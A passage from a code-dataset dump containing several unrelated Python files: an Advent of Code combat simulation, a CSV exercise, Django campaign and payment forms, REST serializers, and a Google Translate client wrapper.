'CONSUME_AMOUNT_BY_UNIT_MEAN',\n 'CONSUME_AMOUNT_BY_UNIT_VAR',\n 'CONSUME_AMOUNT_BY_UNIT_TOP',\n 'IF_WITHDRAW_SUM',\n 'AMOUNT_FREQ_TOP_UNIT',\n 'AMOUNT_TOP_UNIT',\n 'AMOUNT_UNIQUE_TOP_QUANTITY',\n 'ALL_INTEGRAL_IN_SUM',\n 'ALL_INTEGRAL_OUT_SUM',\n 'ALL_INTEGRAL_OUT_V_IN',\n 'CURRENT_INTEGRAL_SUM',\n 'SOON_INVALID_INTEGRAL',\n 'INVALID_INTEGRAL_SUM',\n 'VALID_INTEGRAL_SUM',\n 'INTEGRAL_SOONINVALID_V_CRTVALID',\n 'INTEGRAL_SUM',\n 'INTEGRAL_PRODUCT_BY_UNIT_MEAN',\n 'INTEGRAL_PRODUCT_BY_UNIT_VAR',\n 'INTEGRAL_PRODUCT_BY_UNIT_TOP',\n 'INTEGRAL_CONSUME_BY_UNIT_MEAN',\n 'INTEGRAL_CONSUME_BY_UNIT_VAR',\n 'INTEGRAL_CONSUME_BY_UNIT_TOP',\n 'INTEGRAL_FREQ_TOP_UNIT',\n 'INTEGRAL_PRODUCT_AMOUNT_TOP_UNIT',\n 'INTEGRAL_CONSUME_AMOUNT_TOP_UNIT',\n 'INTEGRAL_UNIQUE_UNIT_QUANTITY',\n 'ITEM_QUANTITY_BY_CATEGORY_MEAN',\n 'ITEM_QUANTITY_BY_CATEGORY_VAR',\n 'ITEM_QUANTITY_BY_CATEGORY_MAX',\n 'ITEM_QUANTITY_BY_CATEGORY_TOP_CATEGORY',\n 'ITEM_UNIQUE_CATEGORY_QUANTITY',\n 'ITEM_IF_OFTEN_SUM',\n 'ITEM_IF_SERVICE_SUM',\n 'COUPONVALUE_V_ORDERREALPAYMENT_MEAN',\n 'COUPONVALUE_V_ORDERREALPAYMENT_VAR',\n 'COUPONVALUE_V_ORDERREALPAYMENT_TOP',\n 'COUPON_QUANTITY_MEAN',\n 'COUPON_QUANTITY_SUM',\n 'COUPON_QUANTITY_VAR',\n 'COUPON_QUANTITY_TOP',\n 'COUPON_PERIOD_MEAN',\n 'COUPON_AMOUNT_MEAN',\n 'COUPON_AMOUNT_SUM',\n 'COUPON_AMOUNT_VAR',\n 'COUPON_AMOUNT_TOP',\n 'COUPON_CAN_REPEAT_MEAN',\n 'COUPON_CAN_REPEAT_SUM',\n 'ORDER_QUANTITY_SUM_BY_VIP', #*\n 'ORDER_ALL_AMOUNT_MEAN_BY_VIP', #*\n 'ORDER_ALL_AMOUNT_SUM_BY_VIP', #*\n 'ORDER_ALL_AMOUNT_VAR_BY_VIP',\n 'ORDER_ALL_AMOUNT_TOP_BY_VIP',\n 'ORDER_REAL_PAYMENT_MEAN_BY_VIP',\n 'ORDER_REAL_PAYMENT_SUM_BY_VIP',\n 'ORDER_REAL_PAYMENT_VAR_BY_VIP',\n 'ORDER_REAL_PAYMENT_TOP_BY_VIP',\n 'ORDER_SUB_BY_AMOUNT_AND_PAYMENT_MEAN',\n 'ORDER_SUB_BY_AMOUNT_AND_PAYMENT_SUM',\n 'ORDER_SUB_BY_AMOUNT_AND_PAYMENT_VAR',\n 'ORDER_PAYMENT_INTEGRAL_V_CASH_MEAN',\n 'ORDER_PAYMENT_INTEGRAL_V_CASH_VAR',\n 'ORDER_PAYMENT_INTEGRAL_V_CASH_TOP',\n 'ORDER_DISCOUNT_MEAN',\n 'ORDER_DISCOUNT_VAR',\n 'ORDER_DISCOUNTVALUE_V_REALPAYMENT_MEAN',\n 'ORDER_DISCOUNTVALUE_V_REALPAYMENT_VAR',\n 'ORDER_INTEGRAL_RECEIVE_V_CONSUME_MEAN',\n 'ORDER_INTEGRAL_RECEIVE_V_CONSUME_VAR',\n 'ORDER_INTEGRAL_RECEIVE_V_CONSUME_TOP',\n 'ORDER_CANCLE_SUM_V_COMPLETE',\n 'ORDER_COMPLETE_QUANTITY',\n 'ORDER_IF_COMMENT_SUM',\n 'ORDER_IF_GROUP_SUM',\n 'ORDER_DELIVERY_A_V_B',\n 'ORDER_COMPLETE_SPAN_MEAN',\n 'ORDER_COMPLETE_SPAN_VAR',\n 'ORDER_COMPLETE_SPAN_TOP',\n 'ITEM_QUANTITY_BY_PRICERANGE_MEAN',\n 'ITEM_QUANTITY_BY_PRICERANGE_VAR',\n 'ITEM_QUANTITY_BY_PRICERANGE_TOP_PRICERANGE',\n 'ITEM_UNIQUE_PRICERANGE_QUANTITY',\n 'ORDER_FREQ_TOP_UNIT',\n 'ORDER_ACTUAL_AMOUNT_TOP_UNIT',\n 'ORDER_UNIQUE_UNIT_QUANTITY',\n 'ORDER_FREQ_TOP_ORDERTYPE',\n 'ORDER_ACTUAL_AMOUNT_TOP_ORDERTYPE',\n 'ORDER_UNIQUE_ORDERTYPE_QUANTITY',\n 'ORDER_FREQ_TOP_PAYTYPE',\n 'ORDER_ACTUAL_AMOUNT_TOP_PAYTYPE',\n 'ORDER_UNIQUE_PAYTYPE_QUANTITY',\n 'ORDER_RETURN_QUANTITY',\n 'ORDER_RETURN_AMOUNT',\n 'ORDER_SUB_BY_REAL_AND_REQUIRE_RETURN_AMOUNT',\n 'ORDER_REAL_RETURN_QUANTITY',\n 'ORDER_SUB_BY_REQUIRE_AND_ACTUAL_QUANTITY',\n 'ORDER_AMOUNT_IN_PAYTYPE_A',\n 'ORDER_AMOUNT_IN_PAYTYPE_B',\n 'ORDER_AMOUNT_IN_PAYTYPE_C',\n 'ORDER_AMOUNT_IN_PAYTYPE_D',\n 'ORDER_INTERVAL_MEAN',\n 'ORDER_INTERVAL_VAR',\n 'ORDER_INTERVAL_TOP',\n 'ORDER_HISTORY',\n 'UNIT_CONSUME_INTERVAL_MEAN',\n 'UNIT_CONSUME_INTERVAL_VAR',\n 'UNIT_CONSUME_INTERVAL_TOP',\n 'UNIT_CONSUME_HISTORY']\nfeature_b = ['ID',\n 'RECHARGE_AMOUNT_SUM',\n 'CONSUME_AMOUNT_SUM',\n 'AMOUNT_OUT_V_IN',\n 'AMOUNT_END_MINUS_IN',\n 'CURRENT_BALANCE_SUM',\n 'RETURN_AMOUNT_SUM',\n 'CONSUME_AMOUNT_BY_VIP_MEAN',\n 'CONSUME_AMOUNT_BY_VIP_VAR',\n 'CONSUME_AMOUNT_BY_VIP_TOP',\n 'IF_WITHDRAW_SUM'\n ]\n\n\n\n","sub_path":"TEST/PUnit.py","file_name":"PUnit.py","file_ext":"py","file_size_in_byte":17523,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"279329886","text":"import numpy as np\nfrom skimage.graph import MCP\nfrom scipy.spatial.distance import cityblock\nimport traitlets\n\nDUNGEON = [] # will eventually store the dungeon as numpy array\n\n\nclass Unit(traitlets.HasTraits):\n \"\"\"\n A generic class to represent units in the dungeon.\n\n Eeally the only difference is what side the units take, so (just about)\n everything can be defined here.\n \"\"\"\n\n attack_power = traitlets.Integer(default_value=3)\n hit_points = traitlets.Integer(default_value=200)\n\n location = traitlets.Tuple(traitlets.Integer(), traitlets.Integer()) # y, x\n\n dead = traitlets.Bool(default_value=False)\n\n members = [] # here to store class instances\n opponents = traitlets.Type('__main__.Unit')\n\n def __new__(cls, *args, **kwargs):\n instance = super().__new__(cls, *args, **kwargs)\n cls.members.append(instance)\n return instance\n\n def attack(self, other):\n other.hit_points -= self.attack_power\n if other.hit_points <= 0:\n other.dead = True\n self.opponents.members.remove(other)\n\n def distance(self, other):\n return cityblock(self.location, other.location)\n\n @property\n def target(self):\n \"\"\"\n Find the nearest target for attack assuming one is available.\n\n :rtype: Unit\n \"\"\"\n opponent_distances = [\n self.distance(foe)\n for foe in self.opponents.members\n ]\n potential_targets = [\n foe\n for foe, distance\n in zip(self.opponents.members, opponent_distances)\n if distance == 1\n ]\n if not potential_targets:\n return None\n elif len(potential_targets) == 1:\n return potential_targets[0]\n else:\n return sorted(\n potential_targets,\n key = lambda u: (u.hit_points, *u.location)\n )[0]\n\n def move(self):\n \"\"\"\n Move the current unit to the closest valid target\n\n Use a minimum cost path through the grid, after removing path through\n allies spaces (you can ignore blocking out enemies because if a path\n would go through an enemy it's going to end up closer).\n\n :rtype: None\n \"\"\"\n # first, block out your buddies\n current_dungeon = DUNGEON.copy()\n\n allies = np.array([\n friend.location for friend in self.members\n if friend is not self\n ])\n\n if allies.size: # assuming there are any allies left\n # locations are stored as y, x, so:\n current_dungeon[allies[:, 0], allies[:, 1]] = -1\n\n foe_locations = np.array([\n foe.location\n for foe in self.opponents.members\n ])\n\n # and now find the costs\n mcp = MCP(current_dungeon, fully_connected=False)\n cum_costs, traceback = mcp.find_costs(\n starts=[self.location],\n find_all_ends=True\n )\n\n foe_distances = cum_costs[\n foe_locations[:, 0], foe_locations[:, 1]\n ]\n if np.isinf(foe_distances.min()):\n return # no route available to any foe\n closest_foes = np.arange(len(foe_distances))[foe_distances == foe_distances.min()]\n closest_foe = sorted(\n self.opponents.members[i] for i in\n closest_foes\n )[0]\n\n # now you have one closest foe, reverse the distance calc\n # and move one step closer\n\n mcp = MCP(current_dungeon, fully_connected=False)\n cum_costs, traceback = mcp.find_costs(\n ends=[self.location],\n starts=[closest_foe.location],\n find_all_ends=False\n )\n\n # the minimum foe distance will be the location of self, so decrease\n # by one\n target_locations = np.argwhere(cum_costs == foe_distances.min() - 1)\n\n # the MCP algorithm will expand out in many directions, so make sure\n # to filter out only those points around self.\n valid_locations = target_locations[(\n (target_locations >= np.array(self.location) - 1) &\n (target_locations <= np.array(self.location) + 1)\n ).all(axis=1)]\n\n # this is _ugly_, but I couldn't quickly think of a better way to sort\n # the locations\n y, x = (sorted(tuple(coords) for coords in valid_locations))[0]\n self.location = (int(y), int(x))\n\n # define comparison methods for sorting:\n def __eq__(self, other):\n return self.location == other.location\n\n def __lt__(self, other):\n return self.location < other.location\n\n def __gt__(self, other):\n return self.location == other.location\n\n def __repr__(self):\n \"\"\"Nice string representation\"\"\"\n return f'<{self.__class__.__name__} ap{self.attack_power} hp{self.hit_points} loc{self.location}>'\n\n # define add and radd so you can easily sum the list of units\n def __add__(self, other):\n return self.hit_points + other.hit_points\n\n def __radd__(self, other):\n return self.hit_points + other\n\n\nclass Goblin(Unit):\n \"\"\"A Goblin, sworn enemy of the Christmas Elf\"\"\"\n\n members = []\n # note that using the traitlets type we can defer the dependency on the\n # Elf class until the opponents attribute is accessed\n opponents = traitlets.Type('__main__.Elf')\n\nclass Elf(Unit):\n \"\"\"A Christmas Elf\"\"\"\n\n members = []\n # likewise access to the Goblins is deferred until required.\n opponents = traitlets.Type('__main__.Goblin')\n\nap = 3 # Elves start with 3 attack points, like goblins\nwhile True:\n\n # yes, I could change this so that I only created the dungeon object once\n # but really, I figured it would be easier this way\n DUNGEON = []\n Goblin.members.clear() # make sure the victors are still removed\n Elf.members.clear()\n\n # create the dungeon from the input file\n for y, line in enumerate(open('input.txt')):\n\n row = []\n for x, square in enumerate(line.rstrip('\\n')):\n if square == '#':\n row.append(-1)\n else:\n row.append(1)\n if square == 'G':\n Goblin(location=(y, x)) # creating a goblins adds it to the Goblin members\n elif square == 'E':\n # likewise the elves\n Elf(location=(y, x), attack_power=ap)\n DUNGEON.append(row)\n\n DUNGEON = np.array(DUNGEON)\n\n num_elves = len(Elf.members) # ensure that no elf dies\n counter = 0\n while Elf.members and Goblin.members:\n for unit in sorted(Goblin.members + Elf.members):\n if not unit.opponents.members or not unit.members:\n break\n if unit.dead:\n continue\n target = unit.target\n\n if not target:\n unit.move()\n target = unit.target\n\n if target:\n unit.attack(target)\n\n if not unit.opponents.members:\n break\n else:\n counter += 1\n\n if num_elves == len(Elf.members):\n # victory for the elves!\n break\n elif ap == 3:\n print(counter, 'turns')\n print('Solution 1', (counter) * sum(Elf.members + Goblin.members))\n ap += 1\n\nprint(ap, 'AP')\nprint(counter, 'turns')\nprint('Solution 2', (counter) * sum(Elf.members + Goblin.members))","sub_path":"2018/day15/solution_combined.py","file_name":"solution_combined.py","file_ext":"py","file_size_in_byte":7392,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"509327475","text":"##\n## Imprima una tabla en formato CSV que contenga por registro,\n## la cantidad de elementos de las columnas 4 y 5\n## (filas en el archivo)\n##\n## E,3,5\n## A,3,4\n## B,4,4\n## ...\n## C,4,3\n## E,2,3\n## E,3,3\n##\na=open('data.csv').readlines()\nb =[row[0:-1] for row in a]\naa=[row[0] for row in a]\n\n\nii=0\nfor i in b:\n bb=i.split('\\t')\n ii=0\n for j in bb:\n if ii==0:\n pri=j\n if ii==3:\n se=len(j)\n bbb=j.replace(',','')\n se=(len(bbb))\n if ii==4:\n bbb=j.split(',')\n tr=(len(bbb))\n\n ii=ii+1\n print(pri+','+str(se)+','+str(tr))\n","sub_path":"q11.py","file_name":"q11.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"617142028","text":"from django import forms\nfrom campaign.models import Category, Campaign, CampaignProposals, CampaignPost, CampaignComments\nfrom datetime import datetime\nfrom django.core.validators import RegexValidator\nfrom tinymce.widgets import TinyMCE\nfrom django.utils.translation import ugettext_lazy as _\nfrom taggit.forms import *\nfrom register.commons import WydlWrapper\nfrom django.core.validators import ValidationError\nimport re\n\nclass CategoryForm(forms.ModelForm):\n class Meta:\n model = Category\n fields = ['name',]\n\nclass CampaignForm(forms.ModelForm):\n\n T_CHOICES = (\n ('Timed', 'Timed'),\n ('Ongoing', 'Ongoing')\n )\n LIVE_CHOICES = (\n ('Live', 'Live'),\n ('Draft', 'Draft')\n )\n\n title = forms.CharField(widget=forms.TextInput(attrs={'class': 'form-control'}), max_length=255, error_messages={'required': 'Please enter title'})\n description = forms.CharField(required=True, widget=TinyMCE, error_messages={'required': 'Description is required.'})\n timebased_type = forms.ChoiceField(choices=T_CHOICES)\n goal_of_campaign = forms.IntegerField(required=False)\n live = forms.ChoiceField(choices=LIVE_CHOICES)\n category_filed = forms.ChoiceField(choices=[])\n city = forms.CharField(widget=forms.TextInput(attrs={'class': 'form-control'}), max_length=255, error_messages={'required': 'Please enter city name'})\n state = forms.CharField(widget=forms.TextInput(attrs={'class': 'form-control'}), max_length=255, error_messages={'required': 'Please enter state name'})\n zip = forms.CharField(validators=[RegexValidator(\n regex=r'^(^[0-9]{5}(?:-[0-9]{4})?$|^$)',\n message=_(u'Must be valid zipcode in formats 12345 or 12345-1234'),\n )], error_messages={'required': 'Please enter zip code'})\n\n m_tags = TagField(help_text='A comma-separated list of tags')\n\n def __init__(self, *args, **kwargs):\n super(CampaignForm, self).__init__(*args, **kwargs)\n choices = [(c.pk, c.name) for c in Category.objects.all()]\n self.fields['category_filed'].choices = choices\n\n\n\n # def __init__(self, *args, **kwargs):\n # super(CampaignForm, self).__init__(*args, **kwargs)\n # choices = [(c.pk, c.name) for c in Category.objects.all()]\n # self.fields['category_filed'].choices = choices\n\n def clean_title(self):\n cleaned_data = super(CampaignForm, self).clean()\n title = cleaned_data.get(\"title\")\n\n reg = re.compile('^[a-zA-Z0-9 ]+$')\n if not reg.match(title):\n raise ValidationError(\"Enter title without special character\")\n\n wdyl = WydlWrapper()\n if wdyl.get({'q':self.cleaned_data['title']})['response'] == 'true':\n raise ValidationError(wdyl.get_error_message())\n return title\n\n class Meta:\n model = Campaign\n fields = ['title', 'description', 'timebased_type', 'live', 'category_filed', 'start_date', 'end_date', ]\n\nclass ProposalForm(forms.ModelForm):\n\n title = forms.CharField(widget=forms.TextInput(attrs={'class': 'form-control'}), required=True, max_length=50, error_messages={'required': 'Title is required.'})\n description = forms.CharField(required=True, widget=TinyMCE, error_messages={'required': 'Description is required.'})\n amount = forms.IntegerField(required=True, error_messages={'required': 'Amount is required.'})\n\n def clean_title(self):\n cleaned_data = super(ProposalForm, self).clean()\n title = cleaned_data.get(\"title\")\n\n reg = re.compile('^[a-zA-Z0-9 ]+$')\n if not reg.match(title):\n raise ValidationError(\"Enter proposla title without special character\")\n\n wdyl = WydlWrapper()\n if wdyl.get({'q':self.cleaned_data['title']})['response'] == 'true':\n raise ValidationError(wdyl.get_error_message())\n return title\n\n class Meta:\n model = CampaignProposals\n fields = ['title', 'description', 'amount', ]\n\nclass CampaignPostForm(forms.ModelForm):\n\n # message = forms.CharField(widget=forms.Textarea(attrs={'class': 'form-control'}), required=True, max_length=255, error_messages={'required': 'Please enter message.'})\n\n class Meta:\n model = CampaignPost\n fields = ['message', ]\n\nclass PaymentForm(forms.Form):\n\n name = forms.CharField(label=\"Name:\", widget=forms.TextInput(attrs={'class': 'form-control'}), required=True,\n validators=[\n RegexValidator(\n regex='^[a-zA-Z0-9 ]+$',\n message='Enter name without special character',\n code='invalid_name'\n ),])\n amount = forms.CharField(label=\"Amount:\", widget=forms.TextInput(attrs={'class': 'form-control', 'readonly': 'readonly'}), required=False)\n today = datetime.now().date()\n MONTH_CHOICES = [\n ('1', '01 - January'),\n ('2', '02 - February'),\n ('3', '03 - March'),\n ('4', '04 - April'),\n ('5', '05 - May'),\n ('6', '06 - June'),\n ('7', '07 - July'),\n ('8', '08 - August'),\n ('9', '09 - September'),\n ('10', '10 - October'),\n ('11', '11 - November'),\n ('12', '12 - December'),\n ]\n YEAR_CHOICES = [(y, y) for y in range(today.year, today.year + 21)]\n number = forms.CharField(max_length=255, label='Number:', widget=forms.TextInput(attrs={'class': 'form-control',}), error_messages={'required': 'Please Provide Proper Number without any dash/\"-\"', 'invalid': 'Please Enter Card Number without Spaces and Dashes'},\n validators=[\n RegexValidator(\n regex='^[0-9]',\n message='Only number are allowed',\n code='invalid_number'\n ),])\n expiry = forms.CharField(max_length=255,error_messages={'required': 'Enter verification Code','invalid': \"Please Enter verification Number Only\"},widget=forms.TextInput(attrs={'class':'form-control',}) , required=True)\n\n cvc = forms.IntegerField(error_messages={'required': 'Enter verification Code','invalid': \"Please Enter verification Number Only\"},widget=forms.TextInput(attrs={'class':'form-control','type':'number'}) , required=True)\n\n\n\n\nclass CommentForm(forms.ModelForm):\n message = forms.CharField(widget=forms.Textarea(attrs={'class': 'form-control'}), required=True, max_length=255, error_messages={'required': 'Please enter message.'})\n class Meta:\n model = CampaignComments\n fields = ['message', ]","sub_path":"campaign/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":6671,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"296698745","text":"from rest_framework import serializers\nfrom apps.warehouse.models.biscuit import WareHouseBiscuit\nfrom api.biscuit.serializers.biscuit import BiscuitModelSerializer\n\n\nclass WareHouseBiscuitCreateModelSerializer(serializers.ModelSerializer):\n class Meta:\n model = WareHouseBiscuit\n fields = [\n 'biscuit'\n ]\n\n def run_validators(self, value):\n for validator in self.validators:\n if isinstance(validator, validators.UniqueTogetherValidator):\n self.validators.remove(validator)\n super(WareHouseBiscuitCreateModelSerializer, self).run_validators(value)\n\n def create(self, validated_data):\n biscuit = validated_data.pop('biscuit')\n biscuit, _ = WareHouseBiscuit.objects.get_or_create(\n biscuit=biscuit, **validated_data)\n return biscuit\n\n\nclass WareHouseBiscuitDetailModelSerializer(serializers.ModelSerializer):\n biscuit = BiscuitModelSerializer(read_only=True, many=False)\n\n class Meta:\n model = WareHouseBiscuit\n fields = [\n 'biscuit',\n 'quantity',\n 'total_price',\n 'average_price',\n 'unit_of_measurement',\n 'currency',\n 'created_date'\n ]","sub_path":"api/warehouse/serializers/biscuit.py","file_name":"biscuit.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"554659672","text":"from oeda.rtxlib.analysischannels.AnalysisStrategy import AnalysisStrategy\n\n\nclass AnalysisStrategySnapshot(AnalysisStrategy):\n\n def _parse_intermediate_result(self, wf, data):\n self.parse_final_result(wf, data)\n\n def parse_final_result(self, wf, data):\n algorithm_name = data['name']\n results = data['results']\n media_type = results['media_type']\n\n file_name = algorithm_name + \"_\" + wf.id + \".png\"\n contour_plot = results.pop(\"contour_plot\", None)\n\n self.store_image(experiment_id=wf.id, image_name=file_name, image_format=media_type, contour_plot=contour_plot)\n results[\"local_image\"] = file_name\n\n self.store_database(experiment_id=wf.id, algorithm_name=algorithm_name, results=results)\n\n","sub_path":"Backend/oeda/rtxlib/analysischannels/AnalyisStrategySnapshot.py","file_name":"AnalyisStrategySnapshot.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"567493900","text":"import random\nimport typing\nimport json\n\nimport httpcore\nimport httpx\nfrom httpx import Timeout\n\nfrom googleparser import urls, utils\nfrom googleparser.gtoken import TokenAcquirer\nfrom googleparser.constants import (\n DEFAULT_CLIENT_SERVICE_URLS,\n DEFAULT_FALLBACK_SERVICE_URLS,\n DEFAULT_USER_AGENT, LANGCODES, LANGUAGES, SPECIAL_CASES,\n DEFAULT_RAISE_EXCEPTION, DUMMY_DATA\n)\nfrom googleparser.models import Translated, Detected, TranslatedPart\n\nEXCLUDES = ('en', 'ca', 'fr')\n\nRPC_ID = 'MkEWBc'\n\n\nclass Translator:\n \"\"\"\n General class to represent translations\n Attributes\n ----------\n client : httpx.Client\n client to communicate with Google Translate\n service_urls : List[str]\n list of urls to make requests to\n raise_exception : bool\n raise exception flag\n client_type : str\n determines the way of parsing\n token_acquirer : TokenAcquirer\n generates token for parsing\n \"\"\"\n\n def __init__(self, service_urls=DEFAULT_CLIENT_SERVICE_URLS, user_agent=DEFAULT_USER_AGENT,\n raise_exception=DEFAULT_RAISE_EXCEPTION,\n proxies: typing.Dict[str, httpcore.SyncHTTPTransport] = None,\n timeout: Timeout = None,\n http2=True,\n use_fallback=False):\n\n self.client = httpx.Client(http2=http2)\n if proxies is not None: # pragma: nocover\n self.client.proxies = proxies\n\n self.client.headers.update({\n 'User-Agent': user_agent,\n #'Referer': 'https://translate.google.com',\n })\n\n if timeout is not None:\n self.client.timeout = timeout\n\n if use_fallback:\n self.service_urls = DEFAULT_FALLBACK_SERVICE_URLS\n self.client_type = 'gtx'\n pass\n else:\n #default way of working: use the defined values from user app\n self.service_urls = service_urls\n self.client_type = 'tw-ob'\n self.token_acquirer = TokenAcquirer(\n client=self.client, host=self.service_urls[0])\n\n self.raise_exception = raise_exception\n\n def _build_rpc_request(self, text: str, dest: str, src: str):\n return json.dumps([[\n [\n RPC_ID,\n json.dumps([[text, src, dest, True], [None]], separators=(',', ':')),\n None,\n 'generic',\n ],\n ]], separators=(',', ':'))\n\n def _pick_service_url(self):\n if len(self.service_urls) == 1:\n return self.service_urls[0]\n return random.choice(self.service_urls)\n\n def _translate(self, text: str, dest: str, src: str):\n url = urls.TRANSLATE_RPC.format(host=self._pick_service_url())\n data = {\n 'f.req': self._build_rpc_request(text, dest, src),\n }\n params = {\n 'rpcids': RPC_ID,\n 'bl': 'boq_translate-webserver_20201207.13_p0',\n 'soc-app': 1,\n 'soc-platform': 1,\n 'soc-device': 1,\n 'rt': 'c',\n }\n r = self.client.post(url, params=params, data=data)\n if r.status_code != 200 and self.raise_exception:\n raise Exception('Unexpected status code \"{}\" from {}'.format(\n r.status_code, self.service_urls))\n\n return r.text, r\n\n def _translate_legacy(self, text, dest, src, override):\n token = '' #dummy default value here as it is not used by api client\n if self.client_type == 'webapp':\n token = self.token_acquirer.do(text)\n\n params = utils.build_params(client=self.client_type, query=text, src=src, dest=dest,\n token=token, override=override)\n\n url = urls.TRANSLATE.format(host=self._pick_service_url())\n r = self.client.get(url, params=params)\n\n if r.status_code == 200:\n data = utils.format_json(r.text)\n return data, r\n\n if self.raise_exception:\n raise Exception('Unexpected status code \"{}\" from {}'.format(\n r.status_code, self.service_urls))\n\n DUMMY_DATA[0][0][0] = text\n return DUMMY_DATA, r\n\n def _parse_extra_data(self, data):\n response_parts_name_mapping = {\n 0: 'translation',\n 1: 'all-translations',\n 2: 'original-language',\n 5: 'possible-translations',\n 6: 'confidence',\n 7: 'possible-mistakes',\n 8: 'language',\n 11: 'synonyms',\n 12: 'definitions',\n 13: 'examples',\n 14: 'see-also',\n }\n\n extra = {}\n\n for index, category in response_parts_name_mapping.items():\n extra[category] = data[index] if (\n index < len(data) and data[index]) else None\n\n return extra\n\n def translate(self, text: str, dest='en', src='auto'):\n \"\"\"Translate text from source language to destination language\n Parameters\n ----------\n text : str, str sequence\n The source text(s) to be translated. Batch translation is supported via sequence input.\n dest : str\n The language to translate the source text into.\n The value should be one of the language codes listed in `googleparser.LANGUAGES`\n or in `googleparser.LANGCODES`.\n src: str\n The language of the source text.\n The value should be one of the language codes listed in `googleparser.LANGUAGES`\n or in `googleparser.LANGCODES`.\n If a language is not specified,\n the system will attempt to identify the source language automatically.\n Returns\n -------\n Translated\n Translated object with translation info\n \"\"\"\n\n dest = dest.lower().split('_', 1)[0]\n src = src.lower().split('_', 1)[0]\n\n if src != 'auto' and src not in LANGUAGES:\n if src in SPECIAL_CASES:\n src = SPECIAL_CASES[src]\n elif src in LANGCODES:\n src = LANGCODES[src]\n else:\n raise ValueError('invalid source language')\n\n if dest not in LANGUAGES:\n if dest in SPECIAL_CASES:\n dest = SPECIAL_CASES[dest]\n elif dest in LANGCODES:\n dest = LANGCODES[dest]\n else:\n raise ValueError('invalid destination language')\n\n origin = text\n data, response = self._translate(text, dest, src)\n\n token_found = False\n square_bracket_counts = [0, 0]\n resp = ''\n\n for line in data.split('\\n'):\n token_found = token_found or f'\"{RPC_ID}\"' in line[:30]\n if not token_found:\n continue\n\n is_in_string = False\n for index, char in enumerate(line):\n if char == '\\\"' and line[max(0, index - 1)] != '\\\\':\n is_in_string = not is_in_string\n if not is_in_string:\n if char == '[':\n square_bracket_counts[0] += 1\n elif char == ']':\n square_bracket_counts[1] += 1\n\n resp += line\n if square_bracket_counts[0] == square_bracket_counts[1]:\n break\n data = json.loads(resp)\n parsed = json.loads(data[0][2])\n # not sure\n\n try:\n translated_parts = list(\n map(lambda part: TranslatedPart(part[0], part[1] if len(part) >= 2 else []), parsed[1][0][0][5]))\n except IndexError as e:\n translated_parts = list(map(lambda part: TranslatedPart(part[0], part[1] if len(part) >= 2 else []),\n [[parsed[1][0][0][0], [parsed[1][0][0][0]]]]))\n\n translated = ''.join(\n map(lambda part: part.text if part.text[-1] == ' ' else part.text + ' ', translated_parts))[:-1]\n\n if src == 'auto':\n try:\n src = parsed[2]\n except:\n pass\n if src == 'auto':\n try:\n src = parsed[0][2]\n except:\n pass\n\n # currently not available\n confidence = None\n\n origin_pronunciation = None\n try:\n origin_pronunciation = parsed[0][0]\n except:\n pass\n\n pronunciation = None\n try:\n pronunciation = parsed[1][0][0][1]\n except:\n pass\n\n extra_data = {\n 'confidence': confidence,\n 'parts': translated_parts,\n 'origin_pronunciation': origin_pronunciation,\n 'parsed': parsed,\n }\n result = Translated(src=src, dest=dest, origin=origin,\n text=translated, pronunciation=pronunciation,\n parts=translated_parts,\n extra_data=extra_data,\n response=response)\n return result\n\n def translate_legacy(self, text, dest='en', src='auto', **kwargs):\n dest = dest.lower().split('_', 1)[0]\n src = src.lower().split('_', 1)[0]\n\n if src != 'auto' and src not in LANGUAGES:\n if src in SPECIAL_CASES:\n src = SPECIAL_CASES[src]\n elif src in LANGCODES:\n src = LANGCODES[src]\n else:\n raise ValueError('invalid source language')\n\n if dest not in LANGUAGES:\n if dest in SPECIAL_CASES:\n dest = SPECIAL_CASES[dest]\n elif dest in LANGCODES:\n dest = LANGCODES[dest]\n else:\n raise ValueError('invalid destination language')\n\n if isinstance(text, list):\n result = []\n for item in text:\n translated = self.translate_legacy(item, dest=dest, src=src, **kwargs)\n result.append(translated)\n return result\n\n origin = text\n data, response = self.translate_legacy(text, dest, src)\n\n # this code will be updated when the format is changed.\n translated = ''.join([d[0] if d[0] else '' for d in data[0]])\n\n extra_data = self._parse_extra_data(data)\n\n # actual source language that will be recognized by Google Translator when the\n # src passed is equal to auto.\n try:\n src = data[2]\n except Exception: # pragma: nocover\n pass\n\n pron = origin\n try:\n pron = data[0][1][-2]\n except Exception: # pragma: nocover\n pass\n\n if pron is None:\n try:\n pron = data[0][1][2]\n except: # pragma: nocover\n pass\n\n if dest in EXCLUDES and pron == origin:\n pron = translated\n\n # put final values into a new Translated object\n result = Translated(src=src, dest=dest, origin=origin,\n text=translated, pronunciation=pron,\n extra_data=extra_data,\n response=response)\n\n return result\n\n def detect(self, text: str):\n \"\"\"Detect language of the input text\n Parameters\n ----------\n text : str, str sequence\n The source text(s) whose language you want to identify.\n Returns\n -------\n Detected\n Detected object with detection info\n \"\"\"\n\n translated = self.translate(text, src='auto', dest='en')\n result = Detected(lang=translated.src, confidence=translated.extra_data.get('confidence', None), response=translated._response)\n return result\n\n def detect_legacy(self, text, **kwargs):\n\n if isinstance(text, list):\n result = []\n for item in text:\n lang = self.detect(item)\n result.append(lang)\n return result\n\n data, response = self._translate_legacy(text, 'en', 'auto', kwargs)\n\n # actual source language that will be recognized by Google Translator when the\n # src passed is equal to auto.\n src = ''\n confidence = 0.0\n try:\n if len(data[8][0]) > 1:\n src = data[8][0]\n confidence = data[8][-2]\n else:\n src = ''.join(data[8][0])\n confidence = data[8][-2][0]\n except Exception: # pragma: nocover\n pass\n result = Detected(lang=src, confidence=confidence, response=response)\n\n return result\n\n def translate_secure(self, text, retries=3):\n \"\"\" Securely translate text from source language to destination language\n Parameters\n ----------\n text : str, str sequence\n The source text(s) to be translated. Batch translation is supported via sequence input.\n retries : int\n number of retries to make request again\n Returns\n -------\n dict\n dictionary with 'text' - translated text and 'src' - source language\n \"\"\"\n\n if not text:\n return {'text': '', 